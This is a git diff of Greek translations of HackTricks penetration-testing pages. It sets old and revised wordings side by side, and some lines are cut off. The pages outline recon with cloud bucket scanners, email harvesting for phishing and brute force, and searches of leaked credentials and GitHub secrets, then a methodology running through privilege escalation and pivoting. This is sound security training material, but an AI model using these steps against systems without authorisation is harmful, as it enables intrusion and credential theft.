Θα χρειαστείτε επίσης λίστες λέξεων που χρησιμοποιούνται συχνά σε buckets:
@ -532,17 +532,17 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
Στη συνέχεια, με αυτές τις λέξεις θα πρέπει να δημιουργήσετε **παραλλαγές** (ελέγξτε το [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) για περισσότερες πληροφορίες).
Με τις λίστες λέξεων που προκύπτουν μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ή** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
Με τις παραγόμενες λίστες λέξεων μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ή** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
Θυμηθείτε ότι κατά την αναζήτηση Περιουσιακών Στοιχείων στο Cloud θα πρέπει **να ψάξετε για περισσότερα από απλά buckets στο AWS**.
Να θυμάστε όταν αναζητάτε Περιουσιακά Στοιχεία στο Cloud να **ψάξετε για περισσότερα από απλά buckets στο AWS**.
### **Αναζήτηση ευπαθειών**
Αν βρείτε πράγματα όπως **ανοιχτά buckets ή εκθέτες cloud λειτουργίες** θα πρέπει **να τα ανακτήσετε** και να δοκιμάσετε να δείτε τι σας προσφέρουν και αν μπορείτε να τα καταχραστείτε.
Αν βρείτε πράγματα όπως **ανοιχτά buckets ή εκθέτες cloud λειτουργίες** θα πρέπει να **έχετε πρόσβαση** σε αυτά και να δοκιμάσετε να δείτε τι σας προσφέρουν και αν μπορείτε να τα καταχραστείτε.
## Emails
Με τα **domains** και **subdomains** εντός του εύρους ουσιαστικά έχετε όλα όσα **χρειάζεστε για να αρχίσετε την αναζήτηση emails**. Αυτά είναι τα **APIs** και τα **εργαλεία** που έχουν λειτουργήσει καλύτερα για μένα για την εύρεση emails μιας εταιρείας:
Με τα **domains** και **subdomains** μέσα στο εύρος έχετε βασικά ό,τι χρειάζεστε για να αρχίσετε την αναζήτηση emails. Αυτά είναι τα **APIs** και τα **εργαλεία** που έχουν λειτουργήσει καλύτερα για μένα για την εύρεση emails μιας εταιρείας:
* [**theHarvester**](https://github.com/laramies/theHarvester) - με APIs
* API του [**https://hunter.io/**](https://hunter.io/) (δωρεάν έκδοση)
@ -551,33 +551,33 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### **Αναζήτηση ευπαθειών**
Τα emails θα είναι χρήσιμα αργότερα για **brute-force στις συνδέσεις ιστού και υπηρεσίες auth** (όπως SSH). Επίσης, απαιτούνται για **phishings**. Επιπλέον, αυτά τα APIs θα σας δώσουν ακόμη περισσότερες **πληροφορίες για το άτομο** πίσω από το email, το οποίο είναι χρήσιμο για την καμπάνια phishing.
Τα emails θα είναι χρήσιμα αργότερα για **brute-force στις συνδέσεις ιστού και υπηρεσίες auth** (όπως το SSH). Επίσης, απαιτούνται για **phishings**. Επιπλέον, αυτά τα APIs θα σας δώσουν ακόμη περισσότερες πληροφορίες για το άτομο πίσω από το email, το οποίο είναι χρήσιμο για την εκστρατεία phishing.
## Διαρροές Διαπιστεύσεων
## Διαρροές Διαπιστευτήριων
Με τα **domains,** **subdomains** και **emails** μπορείτε να αρχίσετε την αναζήτηση διαρροών διαπιστεύσεων που έχουν διαρρεύσει στο παρελθόν και ανήκουν σε αυτά τα emails:
Με τα **domains,** **subdomains** και **emails** μπορείτε να αρχίσετε να ψάχνετε για διαρροές διαπιστευτηρίων που έχουν συμβεί στο παρελθόν και ανήκουν σε αυτά τα emails:
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/)
### **Αναζήτηση ευπαθειών**
Αν βρείτε **έγκυρες διαρροές** διαπιστεύσεων, αυτό είναι ένα πολύ εύκολο κέρδος.
Αν βρείτε **έγκυρα διαρρεύσαντα** διαπιστευτήρια, αυτό είναι ένα πολύ εύκολο κέρδος.
## Διαρροές Μυστικών
Οι διαρροές διαπιστεύσεων σχετίζονται με επιθέσεις σε εταιρείες όπου **διέρρευσαν και πωλήθηκαν ευαίσθητες πληροφορίες**. Ωστόσο, οι εταιρείες ενδέχεται να επηρεαστούν από **άλλες διαρροές** όπου η πληροφορία δεν βρίσκεται σε αυτές τις βάσεις δεδομένων:
Οι διαρροές διαπιστευτηρίων σχετίζονται με επιθέσεις σε εταιρείες όπου **διέρρευσαν και πωλήθηκαν ευαίσθητες πληροφορίες**. Ωστόσο, οι εταιρείες ενδέχεται να επηρεαστούν από **άλλες διαρροές** όπου οι πληροφορίες δεν βρίσκονται σε αυτές τις βάσεις δεδομένων:
### Διαρροές Github
Διαρροές διαπιστεύσεων και APIs μπορεί να διαρρεύσουν στα **δημόσια αποθετήρια** της **εταιρείας** ή των **χρηστών** που εργάζονται για αυτή την εταιρεία στο github.\
Μπορείτε να χρησιμοποιήσετε το **εργαλείο** [**Leakos**](https://github.com/carlospolop/Leakos) για να **κατεβάσετε** όλα τα **δημόσια αποθετήρια** μιας **οργάνωσης** και των **προγραμματιστών της** και να τρέξετε το [**gitleaks**](https://github.com/zricethezav/gitleaks) αυτόματα πάνω σε αυτά.
Διαπιστευτήρια και APIs ενδέχεται να έχουν διαρρεύσει στα **δημόσια αποθετήρια** της **εταιρείας** ή των **χρηστών** που εργάζονται για αυτή την εταιρεία στο github.\
Μπορείτε να χρησιμοποιήσετε το **εργαλείο** [**Leakos**](https://github.com/carlospolop/Leakos) για να **κατεβάσετε** όλα τα **δημόσια αποθετήρια** μιας **οργάνωσης** και των **προγραμματιστών της** και να τρέξετε αυτόματα το [**gitleaks**](https://github.com/zricethezav/gitleaks) πάνω σε αυτά.
Το **Leakos** μπορεί επίσης να χρησιμοποιηθεί για να τρέξετε το **gitleaks** ξανά σε όλα τα **κείμενα** που παρέχονται μέσω των **URLs που περνάτε** σε αυτό, καθώς μερικές φορές **οι ιστοσελίδες περιέχουν επίσης μυστικά**.
Το **Leakos** μπορεί επίσης να χρησιμοποιηθεί για να τρέξει το **gitleaks** ξανά σε όλα τα **κείμενα** που παρέχονται μέσω των **URLs που δίνονται** σε αυτό, καθώς μερικές φορές **οι ιστοσελίδες περιέχουν επίσης μυστικά**.
#### Github Dorks
Ελέγξτε επίσης αυτήν τη **σελίδα** για πιθανές **github dorks** που μπορείτε επίσης να αναζητήσετε στον οργανισμό που επιτίθεστε:
Ελέγξτε επίσης αυτήν τη **σελίδα** για πιθανούς **github dorks** που μπορείτε επίσης να αναζητήσετε στον οργανισμό που επιτίθεστε:
{% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md)
@ -585,19 +585,21 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### Διαρροές Παστών
Μερικές φορές οι επιτιθέμενοι ή απλά οι εργαζόμενοι θα **δημοσιεύσουν περιεχόμενο της εταιρείας σε ιστοσελίδα επικόλλησης**. Αυτό ενδέχεται να περιέχει ή όχι **ευαίσθητες πληροφορίες**, αλλά είναι πολύ ενδιαφέρον να το αναζητήσετε.\
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**Pastos**](https://github.com/carlospolop/Pastos) για να αναζητήσετε σε περισσότερες από 80 ιστοσελίδες επικόλλησης ταυτόχρονα.
Μερικές φορές οι επιτιθέμενοι ή απλά οι εργαζόμενοι θα **δημοσιεύσουν περιεχόμενο της εταιρείας σε ιστοσελίδα παστών**. Αυτό ενδέχεται να περιέχει ή όχι **ευαίσθητες πληροφορίες**, αλλά είναι πολύ ενδιαφέρον να το αναζητήσετε.\
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**Pastos**](https://github.com/carlospolop/Pastos) για να αναζητήσετε σε περισσότερες από 80 ιστοσελίδες παστών ταυτόχρονα.
### Google Dorks
Οι παλιοί αλλά χρυσοί google dorks είναι πάντα χρήσιμοι για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να τρέξετε χειροκίνητα. Έτσι, μπορείτε να επιλέξετε τις 10 αγαπημένες σας ή να χρησιμοποιήσετε ένα **εργαλείο όπως το** [**Gorks**](https://github.com/carlospolop/Gorks) **για να τις τρέξετε
Οι παλιοί αλλά χρυσοί google dorks είναι πάντα χρήσιμοι για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να τρέξετε χειροκίνητα. Έτσι, μπορείτε να επιλέξετε τις 10 αγαπημένες σας ή να χρησιμοποιήσετε ένα **εργαλείο όπως το** [**Gorks**](https://github.com/carlospolop/Gorks) **για να τις τρέξετε όλες**.
_Σημειώστε ότ
## [**Μεθοδολογία Δοκιμής Διείσδυσης Ιστού**](../../network-services-pentesting/pentesting-web/)
Η **πλειοψηφία των ευπαθειών** που βρίσκουν οι κυνηγοί ευρετήριων βρίσκεται μέσα σε **ιστοσελίδες**, οπότε σε αυτό το σημείο θα ήθελα να μιλήσω για μια **μεθοδολογία δοκιμής εφαρμογών ιστού**, και μπορείτε [**να βρείτε αυτές τις πληροφορίες εδώ**](../../network-services-pentesting/pentesting-web/).
Η **πλειοψηφία των ευπαθειών** που βρίσκουν οι κυνηγοί ευρετήριων βρίσκεται μέσα σε **εφαρμογές ιστού**, οπότε σε αυτό το σημείο θα ήθελα να μιλήσω για μια **μεθοδολογία δοκιμής εφαρμογών ιστού**, και μπορείτε [**να βρείτε αυτές τις πληροφορίες εδώ**](../../network-services-pentesting/pentesting-web/).
Θέλω επίσης να κάνω μια ειδική αναφορά στην ενότητα [**Εργαλεία Αυτόματης Σάρωσης Ιστού με Ανοιχτό Κώδικα**](../../network-services-pentesting/pentesting-web/#automatic-scanners), καθώς, αν και δεν πρέπει να αναμένετε να βρουν πολύ ευαίσθητες ευπαθείες, είναι χρήσιμα για να τα εφαρμόσετε σε **ροές εργασίας για να έχετε κάποιες αρχικές πληροφορίες ιστού.**
Θέλω επίσης να κάνω μια ειδική αναφορά στην ενότητα [**Εργαλεία Αυτόματης Σάρωσης Ιστού με Ανοιχτό Κώδικα**](../../network-services-pentesting/pentesting-web/#automatic-scanners), καθώς, αν και δεν πρέπει να αναμένετε να βρουν πολύ ευαίσθητες ευπαθείες, είναι χρήσιμα για να εφαρμόσετε τα **workflows για να έχετε κάποιες αρχικές πληροφορίες ιστού.**
## Ανακεφαλαιώση
## Ανακεφαλαίωση
> Συγχαρητήρια! Σε αυτό το σημείο έχετε ήδη εκτελέσει **όλη τη βασική απαρίθμηση**. Ναι, είναι βασική επειδή μπορεί να γίνει πολύ περισσότερη απαρίθμηση (θα δούμε περισσότερα κόλπα αργότερα).
@ -607,13 +609,13 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
2. Βρείτε όλα τα **περιουσιακά στοιχεία** που ανήκουν στις εταιρείες (και εκτελέστε μια σάρωση ευπαθειών αν είναι στο πεδίο εφαρμογής)
3. Βρείτε όλους τους **τομείς** που ανήκουν στις εταιρείες
4. Βρείτε όλα τα **υποτομεία** των τομέων (κάποια ανάληψη υποτομέων;)
5. Βρείτε όλες τις **IP** (από και **όχι από CDN**) εντός του πεδίου εφαρμογής.
6. Βρείτε όλους τους **διακομιστές ιστού** και πάρτε μια **στιγμιότυπη εικόνα** τους (κάτι περίεργο που αξίζει μια βαθύτερη ματιά;)
5. Βρείτε όλες τις **IP** (από και **όχι από CDNs**) εντός του πεδίου εφαρμογής.
6. Βρείτε όλους τους **διακομιστές ιστού** και πάρτε μια **στιγμιότυπη εικόνα** τους (κάτι περίεργο που αξίζει μια πιο βαθιά ματιά;)
7. Βρείτε όλα τα **πιθανά δημόσια περιουσιακά στοιχεία στο cloud** που ανήκουν στην εταιρεία.
8. **Ηλεκτρονικά ταχυδρομεία**, **διαρροές διαπιστεύσεων**, και **διαρροές μυστικών** που θα μπορούσαν να σας δώσουν μια **μεγάλη νίκη πολύ εύκολα**.
9. **Δοκιμάστε όλες τις ιστοσελίδες που βρήκατε**
8. **Emails**, **διαρροές διαπιστεύσεων**, και **διαρροές μυστικών** που θα μπορούσαν να σας δώσουν μια **μεγάλη νίκη πολύ εύκολα**.
9. **Δοκιμάστε όλους τους ιστούς που βρήκατε**
## **Εργαλεία Αυτόματης Πλήρους Αναγνώρισης**
## **Πλήρη Αυτόματα Εργαλεία Αναγνώρισης**
Υπάρχουν πολλά εργαλεία εκεί έξω που θα εκτελέσουν μέρος των προτεινόμενων ενεργειών εναντίον ενός συγκεκριμένου πεδίου.
@ -626,9 +628,9 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
* Όλα τα δωρεάν μαθήματα του [**@Jhaddix**](https://twitter.com/Jhaddix) όπως το [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακάρετε το αχάκαρτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
Αν ενδιαφέρεστε για μια **καριέρα στο χάκινγκ** και να χακεύετε το αχάκιστο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -641,7 +643,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -14,7 +14,7 @@
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχακέυτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
@ -41,7 +41,7 @@ _Τα λογότυπα του Hacktricks σχεδιάστηκαν από_ [_@ppi
### **2-** [**Διασκεδάζοντας με το δίκτυο**](pentesting-network/) **(Εσωτερικό)**
**Αυτή η ενότητα ισχύει μόνο αν εκτελείτε ένα εσωτερικό τεστ.**\
Πριν επιτεθείτε σε έναν υπολογιστή ίσως προτιμήσετε να **κλέψετε κάποια διαπιστευτήρια** **από το δίκτυο** ή να **κάνετε sniff** κάποια **δεδομένα** για να μάθετε **παθητικά/ενεργά (MitM)** τι μπορείτε να βρείτε μέσα στο δίκτυο. Μπορείτε να διαβάσετε το [**Ελέγχος Εισβολής Δικτύου**](pentesting-network/#sniffing).
Πριν επιτεθείτε σε έναν υπολογιστή ίσως προτιμήσετε να **κλέψετε κάποια διαπιστευτήρια** **από το δίκτυο** ή **να κάνετε sniff** κάποια **δεδομένα** για να μάθετε **παθητικά/ενεργά (MitM)** τι μπορείτε να βρείτε μέσα στο δίκτυο. Μπορείτε να διαβάσετε το [**Ελέγχος Εισβολής Δικτύου**](pentesting-network/#sniffing).
### 3- [Σάρωση Θυρών - Ανακάλυψη Υπηρεσιών](pentesting-network/#scanning-hosts)
@ -55,42 +55,42 @@ _Τα λογότυπα του Hacktricks σχεδιάστηκαν από_ [_@ppi
Αν δεν υπάρχει κάποια εξειδικευμένη εκμετάλλευση για κάποια τρέχουσα υπηρεσία, θα πρέπει να αναζητήσετε **συνηθισμένες λανθάνουσες ρυθμίσεις σε κάθε τρέχουσα υπηρεσία.**
**Μέσα σε αυτό το βιβλίο θα βρείτε οδηγό για τον έλεγχο εισβολής στις πιο συνηθισμένες υπηρεσίες** (και άλλες που δεν είναι τόσο συνηθισμένες)**. Παρακαλώ, αναζητήστε στο αριστερό ευρετήριο την** _**ΕΛΕΓΧΟΣ ΕΙΣΒΟΛΗΣ**_ **ενότητα** (οι υπηρεσίες είναι ταξινομημένες ανά default θύρες).
**Μέσα σε αυτό το βιβλίο θα βρείτε οδηγό για τον έλεγχο εισβολής των πιο συνηθισμένων υπηρεσιών** (και άλλων που δεν είναι τόσο συνηθισμένες)**. Παρακαλώ, αναζητήστε στο αριστερό ευρετήριο την** _**ΕΛΕΓΧΟΣ ΕΙΣΒΟΛΗΣ**_ **ενότητα** (οι υπηρεσίες είναι ταξινομημένες ανά default θύρες).
**Θέλω να κάνω μια ειδική αναφορά στο** [**Μέρος Ελέγχου Εισβολής Web**](../network-services-pentesting/pentesting-web/) **(καθώς είναι το πιο εκτεταμένο).**\
Επίσης, μια μικρή οδηγία για το[ **πώς να βρείτε γνωστές ευπάθειες σε λογισμικό**](search-exploits.md) μπορεί να βρεθεί εδώ.
Επίσης, μπορείτε να βρείτε ένα μικρό οδηγό για το[ **εύρεση γνωστών ευπαθειών σε λογισμικό**](search-exploits.md) εδώ.
**Αν η υπηρεσία σας δεν βρίσκεται στο ευρετήριο, αναζητήστε στο Google** για άλλα εγχειρίδια και **ενημερώστε με αν θέλετε να την προσθέσω.** Αν **δεν μπορείτε να βρείτε κάτι** στο Google, εκτελέστε το **δικό σας τυφλό έλεγχο εισβολής**, μπορείτε να ξεκινήσετε συνδεόμενοι στην υπηρεσία, να την αναζητήσετε και να διαβάσετε τις απαντήσεις (αν υπάρχουν).
**Αν η υπηρεσία σας δεν υπάρχει στο ευρετήριο, αναζητήστε στο Google** για άλλα εγχειρίδια και **ενημερώστε με αν θέλετε να την προσθέσω.** Αν **δεν μπορείτε να βρείτε τίποτα** στο Google, εκτελέστε το **δικό σας τυφλό έλεγχο εισβολής**, μπορείτε να ξεκινήσετε συνδεόμενοι στην υπηρεσία, να την αναζητήσετε και να διαβάσετε τις απαντήσεις (αν υπάρχουν).
#### 5.1 Αυτόματα Εργαλεία
Υπάρχουν επίσης αρκετά εργαλεία που μπορούν να πραγματοποιήσουν **αυτόματη αξιολόγηση ευπαθειών**. **Θα σας πρότεινα να δοκιμάσετε** [**Legion**](https://github.com/carlospolop/legion)**, το οποίο είναι το εργαλείο που δημιούργησα και βασίζεται στις σημειώσεις σχετικά με τον έλεγχο εισβολής υπηρεσιών που μπορείτε να βρείτε σε αυτό το βιβλίο.**
Υπάρχουν επίσης αρκετά εργαλεία που μπορούν να πραγματοποιήσουν **αυτόματη αξιολόγηση ευπαθειών**. **Θα σας πρότεινα να δοκιμάσετε** [**Legion**](https://github.com/carlospolop/legion)**, το οποίο είναι το εργαλείο που έχω δημιουργήσει και βασίζεται στις σημειώσεις σχετικά με τον έλεγχο εισβολής υπηρεσιών που μπορείτε να βρείτε σε αυτό το βιβλίο.**
#### **5.2 Επίθεση με Βίαιο Εξαναγκασμό σε Υπηρεσίες**
#### **5.2 Επίθεση με Βία στις Υπηρεσίες**
Σε ορισμένα σενάρια μια **Επίθεση με Βίαιο Εξαναγκασμό** θα μπορούσε να είναι χρήσιμη για να **καταστρέψετε** μια **υπηρεσία**. [**Βρείτε εδώ ένα CheatSheet διαφορετικών υπηρεσιών με βίαιο εξαναγκασμό**](brute-force.md)**.**
Σε ορισμένα σενάρια μια **Επίθεση με Βία** θα μπορούσε να είναι χρήσιμη για να **καταστρέψετε** μια **υπηρεσία**. [**Βρείτε εδώ ένα CheatSheet διαφορετικών υπηρεσιών επίθεσης με βία**](brute-force.md)**.**
### 6- [Αλισβεύτιση](phishing-methodology/)
### 6- [Αλισβεύσεις](phishing-methodology/)
Αν σε αυτό το σημείο δεν έχετε βρει κάποια ενδιαφέρουσα ευπάθεια **μπορεί να χρειαστείτε να δοκιμάσετε κάποια αλισβεύτιση** για να μπείτε στο δίκτυο. Μπορεί
Αν μέχρι αυτό το σημείο δεν έχετε βρει κάποια ενδιαφέρουσα ευπάθεια **μπορεί να χρειαστεί να δοκιμάσετε κάποια αλισβεύση** για να μπείτε στο δίκτυο. Μπορείτε να διαβάσετε τη μεθοδολογί
### **10- Ανόρθωση Προνομίων**
#### **10.1- Τοπική Ανόρθωση**
Αν **δεν είστε root/Administrator** μέσα στο σύστημα, πρέπει να βρείτε έναν τρόπο για **ανόρθωση προνομίων.**\
Αν **δεν είστε root/Administrator** μέσα στο σύστημα, πρέπει να βρείτε έναν τρόπο για να **αναβαθμίσετε τα προνόμιά σας.**\
Εδώ μπορείτε να βρείτε έναν **οδηγό για την ανόρθωση προνομίων τοπικά σε** [**Linux**](../linux-hardening/privilege-escalation/) **και σε** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
Θα πρέπει επίσης να ελέγξετε αυτές τις σελίδες για το πώς λειτουργεί το **Windows**:
* [**Ταυτοποίηση, Διαπιστεύσεις, Δικαιώματα διακριτικών και UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
* [**Ταυθεντικοποίηση, Διαπιστεύσεις, Δικαιώματα διακριτικών και UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
* Πώς λειτουργεί το [**NTLM**](../windows-hardening/ntlm/)
* Πώς να [**κλέψετε διαπιστεύσεις**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) στα Windows
* Μερικά κόλπα για [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
* Κάποια κόλπα για [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
**Μην ξεχάσετε να ελέγξετε τα καλύτερα εργαλεία για την απαρίθμηση των διαδρομών Ανόρθωσης Προνομίων σε Windows και Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Ανόρθωση Προνομίων Domain**
Εδώ μπορείτε να βρείτε μια [**μεθοδολογία που εξηγεί τις πιο κοινές ενέργειες για απαρίθμηση, ανόρθωση προνομίων και διατήρηση σε ένα Active Directory**](../windows-hardening/active-directory-methodology/). Ακόμα κι αν αυτό είναι απλώς μια υποενότητα μιας ενότητας, αυτή η διαδικασία θα μπορούσε να είναι **εξαιρετικά ευαίσθητη** σε μια ανάθεση Ανοικτού Δικτύου/Ομάδας Ερυθράς.
Εδώ μπορείτε να βρείτε μια [**μεθοδολογία που εξηγεί τις πιο κοινές ενέργειες για την απαρίθμηση, την ανόρθωση προνομίων και τη διατήρηση σε ένα Active Directory**](../windows-hardening/active-directory-methodology/). Ακόμα κι αν αυτό είναι απλώς μια υποενότητα μιας ενότητας, αυτή η διαδικασία θα μπορούσε να είναι **εξαιρετικά ευαίσθητη** σε μια ανάθεση Πεντεστικής/Ομάδας Ερυθρού.
### 11 - POST
@ -108,9 +108,9 @@ TODO: Ολοκληρώστε τη Δημοσίευση Διατήρησης σε
### 12 - Περιστροφή
Με τα **συγκεντρωμένα διαπιστευτήρια** μπορείτε να έχετε πρόσβαση σε άλλες μηχανές, ή ίσως χρειάζεστε να **ανακαλύψετε και να σαρώσετε νέους υπολογιστές** (ξεκινήστε ξανά τη Μεθοδολογία Ανοικτού Δικτύου) μέσα σε νέα δίκτυα όπου είναι συνδεδεμένο το θύμα σας.\
Με τα **συγκεντρωμένα διαπιστευτήρια** μπορείτε να έχετε πρόσβαση σε άλλες μηχανές, ή ίσως χρειάζεστε να **ανακαλύψετε και να σαρώσετε νέους υπολογιστές** (ξεκινήστε ξανά τη Μεθοδολογία Πεντεστικής) μέσα σε νέα δίκτυα όπου είναι συνδεδεμένο το θύμα σας.\
Σε αυτήν την περίπτωση, η ταυτοποίηση μπορεί να είναι απαραίτητη. Εδώ μπορείτε να βρείτε [**μια δημοσίευση που μιλά για την ταυτοποίηση**](tunneling-and-port-forwarding.md).\
Σίγουρα θα πρέπει επίσης να ελέγξετε τη δημοσίευση σχετικά με τη [Μεθοδολογία Ανοικτού Δικτύου του Active Directory](../windows-hardening/active-directory-methodology/). Εκεί θα βρείτε χρήσιμα κόλπα για την μετάβαση πλευρικά, την ανόρθωση προνομίων και την αποθήκευση διαπιστεύσεων.\
Σίγουρα θα πρέπει επίσης να ελέγξετε τη δημοσίευση σχετικά με τη [Μεθοδολογία Πεντεστικής του Active Directory](../windows-hardening/active-directory-methodology/). Εκεί θα βρείτε χρήσιμα κόλπα για την μετάβαση πλευρικά, την ανόρθωση προνομίων και την αποθήκευση διαπιστεύσεων.\
Ελέγξτε επίσης τη σελίδα σχετικά με το [**NTLM**](../windows-hardening/ntlm/), μπορεί να είναι πολύ χρήσιμο για περιστροφή σε περιβάλλοντα Windows.
### ΠΕΡΙΣΣΟΤΕΡΑ
@ -131,9 +131,9 @@ TODO: Ολοκληρώστε τη Δημοσίευση Διατήρησης σε
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακάρετε το αχάκαρτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακάρετε το αχάκαρτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -146,7 +146,7 @@ TODO: Ολοκληρώστε τη Δημοσίευση Διατήρησης σε
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -14,9 +14,9 @@
</details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχακέυτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών_).
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχακέυτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικού_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -24,12 +24,12 @@
Στα παρακάτω βίντεο μπορείτε να βρείτε τις τεχνικές που αναφέρονται σε αυτήν τη σελίδα εξηγημένες πιο αναλυτικά:
